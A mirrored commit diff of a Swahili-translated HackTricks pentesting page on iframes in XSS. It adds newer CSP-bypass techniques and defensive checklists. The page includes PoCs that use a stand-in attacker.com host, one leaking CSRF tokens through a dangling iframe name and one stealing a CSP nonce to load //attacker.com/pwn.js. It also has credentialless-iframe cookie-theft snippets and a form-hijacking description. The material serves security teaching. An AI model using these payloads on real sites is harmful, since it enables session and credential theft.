mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
parent
15dfd0bd81
commit
8054289eb2
@ -45,7 +45,7 @@ var secret = "child secret"
|
|||||||
alert(parent.secret)
|
alert(parent.secret)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 tu (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
Ikiwa unapata html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia var `secret` ndani ya iframe yoyote** na **ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
||||||
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
|
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
|
||||||
|
|
||||||
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||||
@ -61,7 +61,7 @@ Kwa hivyo inawezekana kupita CSP ya ukurasa kwa:
|
|||||||
<head>
|
<head>
|
||||||
<meta
|
<meta
|
||||||
http-equiv="Content-Security-Policy"
|
http-equiv="Content-Security-Policy"
|
||||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||||
</head>
|
</head>
|
||||||
<script>
|
<script>
|
||||||
var secret = "31337s3cr37t"
|
var secret = "31337s3cr37t"
|
||||||
@ -81,9 +81,9 @@ Hata hivyo, **ni `if1` na `if2` tu ambazo zitatekelezwa lakini ni `if1` pekee it
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia mwisho wa JSONP wa same-site**.
|
Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia kipengele cha JSONP cha same-site**.
|
||||||
|
|
||||||
Unaweza kujaribu hii na hali ifuatayo ambapo cookie inanyang'anywa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
|
Unaweza kujaribu hii na hali ifuatayo ambapo cookie inakuliwa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
|
||||||
```python
|
```python
|
||||||
import flask
|
import flask
|
||||||
from flask import Flask
|
from flask import Flask
|
||||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
|||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
app.run()
|
app.run()
|
||||||
```
|
```
|
||||||
### Payloads Nyingine Zilizopatikana Katika Mwitu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
#### Mbinu mpya za CSP bypass (2023-2025) zikiwa na iframes
|
||||||
|
|
||||||
|
Jamii ya utafiti inaendelea kugundua njia za ubunifu za kutumia iframes ili kushinda sera za kikomo. Hapa chini unaweza kupata mbinu zinazojulikana zaidi zilizochapishwa katika miaka michache iliyopita:
|
||||||
|
|
||||||
|
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Wakati programu inareflect HTML lakini CSP kali inazuia utekelezaji wa script, bado unaweza kuvuja tokens nyeti kwa kuingiza *dangling* `<iframe name>` attribute. Mara tu markup ya sehemu inaposindika, script ya mshambuliaji inayotembea katika chanzo tofauti inapeleka frame kwa `about:blank` na kusoma `window.name`, ambayo sasa ina kila kitu hadi herufi ya nukuu inayofuata (kwa mfano token ya CSRF). Kwa sababu hakuna JavaScript inayotembea katika muktadha wa mwathirika, shambulio kwa kawaida linakwepa `script-src 'none'`. PoC ndogo ni:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!-- Injection point just before a sensitive <script> -->
|
||||||
|
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
|
||||||
|
````
|
||||||
|
```javascript
|
||||||
|
// attacker.com frame
|
||||||
|
const victim = window.frames[0];
|
||||||
|
victim.location = 'about:blank';
|
||||||
|
console.log(victim.name); // → leaked value
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Nonce theft via same-origin iframe (2024)** – CSP nonces haziondolewa kutoka DOM; zinafichwa tu katika DevTools. Ikiwa mshambuliaji anaweza kuingiza iframe ya *same-origin* (kwa mfano kwa kupakia HTML kwenye tovuti) frame ya mtoto inaweza kuuliza tu `document.querySelector('[nonce]').nonce` na kuunda nodi mpya za `<script nonce>` zinazokidhi sera, ikitoa utekelezaji kamili wa JavaScript licha ya `strict-dynamic`. Gadget ifuatayo inainua kuingizwa kwa markup kuwa XSS:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
const n = top.document.querySelector('[nonce]').nonce;
|
||||||
|
const s = top.document.createElement('script');
|
||||||
|
s.src = '//attacker.com/pwn.js';
|
||||||
|
s.nonce = n;
|
||||||
|
top.document.body.appendChild(s);
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Form-action hijacking (PortSwigger 2024)** – Ukurasa unaoacha mwelekeo wa `form-action` unaweza kuwa na fomu ya kuingia *re-targeted* kutoka iframe iliyoungizwa au HTML ya ndani ili wasimamizi wa nywila kujaza kiotomatiki na kuwasilisha akidi kwa kikoa cha nje, hata wakati `script-src 'none'` ipo. Daima kamilisha `default-src` na `form-action`!
|
||||||
|
|
||||||
|
**Maelezo ya kujihami (orodha ya haraka)**
|
||||||
|
|
||||||
|
1. Daima tuma *yote* CSP directives zinazodhibiti muktadha wa pili (`form-action`, `frame-src`, `child-src`, `object-src`, nk.).
|
||||||
|
2. Usitegemee nonces kuwa siri—tumia `strict-dynamic` **na** ondolea maeneo ya kuingiza.
|
||||||
|
3. Unapolazimika kuingiza nyaraka zisizoaminika tumia `sandbox="allow-scripts allow-same-origin"` **kwa uangalifu sana** (au bila `allow-same-origin` ikiwa unahitaji tu kutengwa kwa utekelezaji wa script).
|
||||||
|
4. Fikiria kutekeleza ulinzi wa kina wa COOP+COEP; sifa mpya ya `<iframe credentialless>` (§ hapa chini) inakuruhusu kufanya hivyo bila kuvunja embeds za wahusika wengine.
|
||||||
|
|
||||||
|
### Payloads Nyingine zilizopatikana porini <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||||
```html
|
```html
|
||||||
<!-- This one requires the data: scheme to be allowed -->
|
<!-- This one requires the data: scheme to be allowed -->
|
||||||
<iframe
|
<iframe
|
||||||
@ -128,20 +164,28 @@ Wakati inapotumika, sifa ya `sandbox` inaweka vizuizi kadhaa:
|
|||||||
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
|
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
|
||||||
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
|
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
|
||||||
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
|
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
|
||||||
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji wa video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
||||||
|
|
||||||
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
|
Tip: Mablazaji ya kisasa yanasaidia bendera za granular kama `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, nk. Changanya hizo ili kutoa tu uwezo wa chini unaohitajika na programu iliyowekwa.
|
||||||
|
|
||||||
|
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotengwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
|
||||||
```html
|
```html
|
||||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||||
|
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||||
```
|
```
|
||||||
### Credentialless iframes
|
### Iframes zisizo na akreditivu
|
||||||
|
|
||||||
Kama ilivyoelezwa katika [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera ya `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akidi katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakwa ndani ya iframe.
|
Kama ilivyoelezwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akreditivu katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakuliwa ndani ya iframe.
|
||||||
|
|
||||||
Hii inaruhusu iframe kufikia taarifa nyeti kutoka iframe nyingine katika SOP sawa iliyopakiwa kwenye ukurasa wa mzazi:
|
Tangu **Chrome 110 (Februari 2023 kipengele hiki kimewezeshwa kwa default** na kiwango kinastandariswa kati ya vivinjari chini ya jina *anonymous iframe*. MDN inaelezea kama: “mekanismu ya kupakia iframes za wahusika wengine katika sehemu mpya ya kuhifadhi ya muda ili kwamba hakuna vidakuzi, localStorage au IndexedDB vinavyoshirikiwa na asili halisi”. Matokeo kwa washambuliaji na walinzi:
|
||||||
|
|
||||||
|
* Skripti katika iframes tofauti zisizo na akreditivu **bado zinashiriki asili ya kiwango cha juu** na zinaweza kuingiliana kwa uhuru kupitia DOM, kufanya mashambulizi ya multi-iframe self-XSS kuwa yawezekana (tazama PoC hapa chini).
|
||||||
|
* Kwa sababu mtandao ni **credential-stripped**, ombi lolote ndani ya iframe linatenda kama kikao kisichothibitishwa – maeneo yaliyolindwa na CSRF kwa kawaida yanashindwa, lakini kurasa za umma zinazoweza kuvuja kupitia DOM bado ziko ndani ya wigo.
|
||||||
|
* Pop-ups zinazozalishwa kutoka iframe isiyo na akreditivu hupata `rel="noopener"` isiyo ya moja kwa moja, ikivunja baadhi ya mchakato wa OAuth.
|
||||||
```javascript
|
```javascript
|
||||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||||
alert(window.top[1].document.cookie);
|
window.top[1].document.cookie = 'foo=bar'; // write
|
||||||
|
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||||
```
|
```
|
||||||
- Mfano wa unyakuzi: Self-XSS + CSRF
|
- Mfano wa unyakuzi: Self-XSS + CSRF
|
||||||
|
|
||||||
@ -165,7 +209,7 @@ document.forms[0].submit();
|
|||||||
|
|
||||||
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
|
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
|
||||||
|
|
||||||
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba kidaku kwa mfano kwa kutekeleza:
|
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba cookie kwa mfano kwa kutekeleza:
|
||||||
```javascript
|
```javascript
|
||||||
alert(window.top[1].document.cookie);
|
alert(window.top[1].document.cookie);
|
||||||
```
|
```
|
||||||
@ -201,4 +245,10 @@ Angalia kurasa zifuatazo:
|
|||||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Marejeo
|
||||||
|
|
||||||
|
* [PortSwigger Research – Kutumia hijacking ya fomu kupita CSP (Machi 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||||
|
* [Chrome Developers – Iframe bila akreditivu: Rahisi kuingiza iframes katika mazingira ya COEP (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user